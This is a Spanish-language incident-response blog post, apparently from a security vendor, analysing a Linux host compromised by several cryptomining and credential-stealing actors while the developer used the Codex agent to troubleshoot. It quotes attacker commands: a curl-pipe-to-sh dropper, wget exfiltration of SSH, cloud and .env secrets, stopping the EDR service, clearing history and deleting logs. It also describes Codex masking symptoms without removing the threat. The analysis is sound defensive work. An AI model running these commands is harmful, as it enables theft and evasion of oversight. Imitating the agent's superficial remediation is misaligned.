Codex Red: desenredando un incidente de Linux con un giro de OpenAI (parte 2)

Agradecimientos: Un agradecimiento especial a Tanner Filip y Lindsey O’Donnell-Welch por sus contribuciones a este blog e investigación.

Hace poco, el Centro de Operaciones de Seguridad de Huntress (SOC) se topó con un incidente extraño: un desarrollador usaba el agente de IA Codex de OpenAI para ayudar a crear dos aplicaciones, pero también usaba Codex para responder a un comportamiento malicioso en su sistema Linux. Como explicamos en la primera parte de nuestra serie de blog en dos partes, Codex ayudó a enmascarar los síntomas, como el ruido fuerte del ventilador provocado por un criptominero, pero no logró remediar la amenaza por completo, y complicó la clasificación del SOC debido al ruido de los comandos que generó.

Luego, el usuario instaló el agente de Huntress, y el SOC entró en acción.

Nuestra historia continúa desde la perspectiva del SOC mientras emprendía su investigación de este incidente, navegando una investigación compleja con tres historias simultáneas: un desarrollador legítimo creando aplicaciones web, múltiples actores de amenazas desplegando varios payloads y mecanismos de persistencia, y un agente de IA generando bastante ruido de fondo.

En la primera parte, vimos cómo el criptominero del Actor A, el binario /var/tmp/systemd-logind, había estado minando Monero en silencio a un pool privado en 62.60.246[.]210:443 desde el arranque. Cuando el usuario se quejó de los ventiladores ruidosos el 19 de marzo, Codex solo enmascaró los síntomas limitando el uso de CPU en lugar de diagnosticar la amenaza, y el criptominero permaneció activo.

Nueva misión: el SOC entra al chat

Como mencionamos en la primera parte de esta serie de blog, el 20 de marzo, poco después de que se instalara el agente de Huntress en medio del compromiso, el SOC respondió a una serie de alertas en el endpoint.

Figura 1: Detecciones que se activaron después de instalar el agente de Huntress

Mientras trabajaban en la investigación, los analistas del SOC pudieron determinar que algunos de los comandos en la Figura 1 anterior eran, en realidad, legítimos. Eran comandos de Codex, del usuario final legítimo que intentaba solucionar un comportamiento extraño en el sistema, que fueron detectados por EDR.

Sin embargo, las demás detecciones sí eran maliciosas. A medida que los analistas del SOC profundizaron en ellas, descubrieron múltiples adversarios apuntando al sistema de la víctima.

Aquí es donde nuestra historia retoma el hilo.

El jugador dos se une: entra un botnet de múltiples fuentes de ingresos

Como se ve en la Figura 1, después de instalar el agente, Huntress detectó de inmediato que el atacante había ejecutado lo siguiente:

curl -fsSLk http://162.55.234[.]175:4082/workersh | sh

Esto era en realidad un dropper del segundo actor de amenazas (lo llamaremos Actor B), que luego ejecutó lo siguiente:

1. Persistencia mediante cron (30 3,15 * * *) que ejecutaba los payloads installsh (instalador de miner) y dnser (un binario ELF) dos veces al día
2. Servicios de usuario de systemd (.arpupdate.service, .dnsupdate.service) ejecutados desde /dev/shm/
3. Ejecución directa que desplegaba: el criptominero XMRig (fkkkf), así como servicios de proxy residencial y venta de ancho de banda (EarnFM, Repocket). Cabe destacar que hubo diferencias clave entre esta actividad de criptominería y la del Actor A, incluyendo los pools de minería (mientras que el malware del Actor A minaba Monero a un pool privado en 62.60.246[.]210:443, el miner del Actor B, fkkkf, se conectó a pool.supportxmr[.]com:3333).

Este script soltó todos los archivos que el actor de amenazas necesitaba y luego estableció la persistencia para ejecutar lo que parecía ser un botnet de múltiples fuentes de ingresos. El botnet incluía una combinación de minería de XMR (fkkkf), servicios de proxy residencial (Repocket) y venta de ancho de banda (EarnFM).

Además, el actor ejecutó múltiples comandos de limpieza de registros (es decir, history -c 2>/dev/null), que se pueden ver en la Figura 1.

Alrededor de una hora después de que Codex eliminara el primer miner, se ejecutó un payload codificado en base64 mediante un clúster de actividad que estamos rastreando como Actor C. Cabe destacar que, si bien la actividad de este clúster provino de la misma dirección IP que la del Actor B (147.45.41[.]25), lo que indica que los dos clústeres podrían estar vinculados, el modo de operar aquí comenzó a verse marcadamente diferente.

Logro desbloqueado: exfiltración de datos masiva

Figura 2: Payload decodificado descargando la siguiente etapa desde 147.45.41[.]25

Este script es un dropper diseñado para funcionar de forma confiable en diferentes entornos Linux. Primero anuló LD_PRELOAD y LD_LIBRARY_PATH para evadir la detección y evitar interferencias por inyección de bibliotecas. Luego, el script intentó descargar contenido desde 147.45.41[.]25 usando cinco métodos alternativos diferentes: un cliente HTTP personalizado basado en netcat, wget, curl, la librería urllib de Python, y finalmente la librería de sockets de Perl. Probó cada método hasta que uno tuvo éxito, lo que aseguraba que el payload se ejecutara incluso en sistemas mínimos o reforzados donde las herramientas estándar podrían no estar disponibles.

Una vez descargado, el contenido se canalizó de inmediato a un shell para su ejecución, con todos los errores suprimidos. Este era el dropper del Actor C, que luego obtuvo el siguiente payload.

El payload resultante es un script de persistencia multiplataforma. El script intentó una escalada de privilegios mediante sudo sin contraseña, y luego desplegó múltiples mecanismos de persistencia: /etc/cron.d/auto-upgrade (una tarea cron maliciosa disfrazada de actualizaciones del sistema, que se ejecutaba diariamente a medianoche para descargar payloads desde 0x1x2x3[.]top C2), y reglas UDEV que se activaban ante cambios en la interfaz de red para reejecutar el malware.

También incluía funciones anticompetitivas que escanean /proc en busca de cryptomineros rivales en el puerto 8235 y los eliminan, además de bloqueo de inmutabilidad de archivos (chattr +i en Linux, chflags uchg en BSD/macOS) para evitar su eliminación.

Por separado, el actor de amenazas desplegó otro cryptominero de XMR (FH8a7d7M) en /tmp/; este se conectó a un pool de minería privado en 57.129.119[.]218:19999.

Con la persistencia y el C2 establecidos, el actor de amenazas primero intentó detener el agente de Huntress (mediante systemctl stop huntress-updater.service), y luego observamos una exfiltración masiva de archivos confidenciales. El script /tmp/.e2933fc3b.sh (SHA256: 781c19b56fbdb17284707f9026e107f639e5447df7df3b248a5d5a50c4b0806c) realizó la recolección.

Figura 3: Intento de detener el agente de Huntress, y parte de la exfiltración de datos

• Material de SSH: ~/.ssh/ directory (private keys, config, known_hosts, authorized_keys)
• Historial de shell: ~/.bash_history, ~/.zsh_history
• Credenciales en la nube: ~/.aws/, ~/.kube/config
• Secretos de aplicaciones: archivos .env en /home/[REDACTED-USER]/[REDACTED-APP]/ y directorios de proyectos
• Credenciales de Git: .git-credentials
• Tokens de API: archivos de tokens y tokens portadores de las configuraciones de aplicaciones
• Metadatos del sistema: directorio /proc/ (información de procesos, cmdlines, variables de entorno)
• Configuración de cron: /var/spool/cron/crontabs/[REDACTED-USER]
• Metadatos en la nube: consultas en vivo a 169.254.169.254 (endpoints de metadatos de AWS/Azure/GCP)
• Información del sistema: detalles del sistema (uname, nombre del sistema, información del usuario, configuración de red)
• Inventario de archivos: lista generada de todos los archivos confidenciales descubiertos (found.txt)
• Marcador de finalización: indicador de finalización generado por el script (done.txt)

Los 15 archivos se exfiltraron mediante wget --post-file a 172.86.127[.]128:8080.

Aumenta la dificultad: el actor de amenazas regresa

El 6 de abril, Huntress detectó una ráfaga de actividad proveniente de este entorno Linux afectado:

• más de 28 descargas repetidas con wget de installsh a /tmp/corn
• más de 16 descargas repetidas con wget de dnser a /tmp/defunctr
• todas desde 162.55.234[.]175:4082
• todas ejecutadas con la opción -q (modo silencioso)

Figura 4: Ejemplo de actividad posterior el 6 de abril

El atacante intentó nuevamente deshabilitar el agente Huntress EDR usando systemctl stophuntress-updater.service. Cinco minutos después, borró el historial de bash con history -c, y luego ejecutó un payload codificado en base64 que provocó un borrado masivo de registros en todo el sistema.

El atacante eliminó más de 40 archivos de registro mediante comandos rm -f específicos, borrando registros de autenticación, registros del kernel, journals de systemd, registros del firewall, registros del gestor de paquetes, registros de CUPS y registros de unattended-upgrades. Huntress detectó cada eliminación, pero la línea de tiempo forense quedó destruida, por lo que el SOC tuvo que depender únicamente de las señales detectadas y del historial de procesos.

¿Fin del juego? Inserta una moneda para continuar

A lo largo de esta investigación, quedó una pregunta sin responder. ¿Cómo entraron originalmente los actores de amenazas? Como el agente Huntress se instaló en medio del compromiso, nunca tuvimos visibilidad completa del vector de acceso inicial. Las señales forenses más antiguas de las que pudimos disponer fueron las capturadas después de la implementación del malware, dejando desconocido el verdadero origen de la intrusión.

Pero mientras finalizábamos este blog, el 16 de abril, el equipo reconstruido volvió a infectarse. La actividad es consistente con la explotación de CVE-2025-55182 (también conocida como "React2Shell"), una vulnerabilidad crítica de ejecución remota de código no autenticada con CVSS 10.0 en el protocolo React Server Components Flight. Una de las aplicaciones generadas con IA estaba ejecutando Next.js 15.4.6 y React 19.1.0, ambos dentro del rango afectado.

El ataque siguió un patrón ya conocido. Un proceso de shell descargó y ejecutó un script directamente desde 162.55.234[.]175:4082, la misma infraestructura del Actor B observada a lo largo de este incidente, lo que confirma que se trata del mismo actor de amenazas que regresó al equipo después de que fue remediado. Además, siguieron los mismos payloads de infostealer codificados en base64, que descargaron más malware desde 172.245.159[.]216, lo cual nuevamente es consistente con la infraestructura observada previamente.

La reinfección demuestra que las recomendaciones de remediación incompletas, ya sea generadas por IA o no, dejan puntos de apoyo residuales. Como la vulnerabilidad subyacente nunca se corrigió, la aplicación siguió expuesta, y el mismo actor de amenazas volvió a entrar por la misma puerta. Hasta que se aborde la causa raíz, la detección y la limpieza por sí solas no son suficientes.

Nuevo minijuego: desenreda a los actores de amenazas

Desde la perspectiva del SOC, este incidente presentó un desafío único. Los analistas tuvieron que clasificar tres historias simultáneas: un desarrollador creando aplicaciones web y al menos dos actores de amenazas desplegando payloads y persistencia, todo mientras una IA generaba mucho ruido de fondo.

A continuación, un resumen de algunos de los hallazgos generales del SOC una vez que las investigaciones quedaron completamente desenredadas.

Actor A (minero de criptomonedas)

• Compromiso antiguo, probablemente de 2024 (binario compilado en agosto de 2024)
• Persistencia simple en crontab con @reboot
• Grupo de minería privado en 62.60.246[.]210:443

Actor B (botnet de ingresos múltiples)

• Infraestructura: 162.55.234[.]175:4082 (Hetzer, Alemania)

• Fuentes de ingresos: minería de XMR, venta de ancho de banda (EarnFM), proxy residencial (Repocket), binario dnser (propósito desconocido, posiblemente un túnel DNS)

  • Billetera de Monero: 48jWtAsev4V9iDeN5TK5PQVNGhnJJR35yiJfJ1tbA3f73ZCiiarUxc4RMU4hNMsd1Udjbe1tCiBeFbx216UXXJzLB98dmJR
  • Contraseña del pool: "poop"
  • Clave de API de EarnFM: 3090ae2d-e49e-4626-a752-9222911f4970
  • Correo de Repocket: workoutoffice@protonmail[.]com

• Persistencia: ocho mecanismos distintos

  • cron de usuario, servicios de usuario de systemd, scripts watchdog, demonización del minero, reejecución del dropper, reglas UDEV, cron de root si sudo está disponible
• Movimientos contra la competencia: el instalador del minero (pkill -9 xmrig) crea un script watchdog (/dev/health), diseñado para eliminar a mineros rivales cada 45 segundos

Actor C (recolector de credenciales, probablemente afiliado al actor B)

• IP de preparación: 147.45.41[.]25:80 (compartida con el actor B), 172.245.159[.]216:80 
• Servidor de exfiltración: 172.86.127[.]128:8080
• Dominio de C2: 0x1x2x3[.]top

Boleta de calificaciones de Codex: “C+”

Este caso demuestra que, si bien la IA puede ser una herramienta valiosa en el conjunto de herramientas de ciberseguridad, no puede reemplazar la experiencia, el conocimiento contextual y el criterio investigativo de los profesionales humanos de seguridad. La figura 5 muestra los “aciertos” y “fallas” de Codex en este incidente.

Figura 5: aciertos y fallas de Codex en este incidente

Estas son algunas de las principales limitaciones de Codex que llevaron a sus “fallas”.

1. Brechas de tiempo y visibilidad: las herramientas de IA solo pueden responder a lo que pueden observar en el momento de la ejecución. La exfiltración de credenciales ocurrió durante un período en el que Codex no estaba monitoreando activamente; por eso la telemetría en vivo es crítica.
2. Restricciones de privilegios: Codex operó sin acceso root y probablemente no pudo inspeccionar /etc/cron.d/, las reglas UDEV en /etc/udev/rules.d/, ni los servicios del sistema de systemd. 
3. La condición de carrera: mientras Codex eliminaba mineros y borraba los crontabs, el payload de los trabajadores del actor B instalaba simultáneamente varios mecanismos de persistencia distintos. Para cuando se completó la "remediación" y Codex quedó conforme, un segundo atacante ya había restablecido el control a través de canales que Codex nunca había revisado.

El MVP de la clasificación: el analista del SOC

Este incidente es una lección crítica sobre el papel de la IA en la ciberseguridad y las investigaciones de DFIR.

La IA es un asistente, no un reemplazo: Codex identificó con éxito algunas amenazas e implementó medidas útiles de fortalecimiento de seguridad. Sin embargo, le faltaba conocimiento contextual, acceso privilegiado, capacidades de monitoreo continuo y una base en inteligencia de amenazas necesaria para una respuesta integral a incidentes.

Además, el uso que el usuario hizo de Codex generó una complejidad creciente para los analistas del SOC. Tuvieron que dedicar tiempo a distinguir entre los comandos legítimos generados por Codex y la actividad real de un atacante, ya que el comando de Codex se parece mucho al reconocimiento de un atacante.

La telemetría en vivo es crítica. Con los registros eliminados y el agente instalado en medio del compromiso, nuestra investigación se vio limitada. La única forma en que el SOC pudo reconstruir este incidente fue a través de la telemetría de EDR en tiempo real desde la instalación del agente y los pocos registros que quedaron. Sin monitoreo de procesos en vivo y detección de línea de comandos, esta investigación habría sido casi imposible.

Por último, el contexto que brindaba entender qué le pidió el usuario a Codex que hiciera fue esencial para distinguir su actividad de los comandos del atacante. Esto requirió revisar los registros de sesión de Codex, el historial de chat y correlacionar las marcas de tiempo. Fue un ejercicio necesario pero que tomó mucho tiempo en la criminalística forense moderna.

Conclusión

Este incidente representa un adelanto de lo que podrían ser las investigaciones de seguridad en el futuro. A medida que más usuarios adopten asistentes de IA e intenten usarlos para resolver problemas de seguridad, los analistas del SOC tendrán cada vez más que diferenciar la actividad legítima generada por IA de las amenazas reales.

El endpoint en este incidente finalmente se aseguró mediante una combinación de:

• Telemetría de Managed EDR en tiempo real del agente de Huntress
• Análisis experto del SOC para desenredar a varios actores de amenazas simultáneos
• Una limpieza integral que abordó todos los mecanismos de persistencia
• Recomendaciones de fortalecimiento de seguridad para el socio, incluida la actualización de la versión de React/Next.js

Si bien este incidente muestra que los asistentes de IA pueden ayudar a identificar algunos problemas y recomendar remediaciones, las investigaciones integrales de DFIR requieren herramientas especializadas, telemetría continua de Managed EDR y, sobre todo, experiencia y conocimiento humanos. En caso de duda, déjaselo a los profesionales antes de que los actores de amenazas tengan tiempo de robar todas tus credenciales y establecer ocho formas distintas de volver a entrar.

Indicadores de compromiso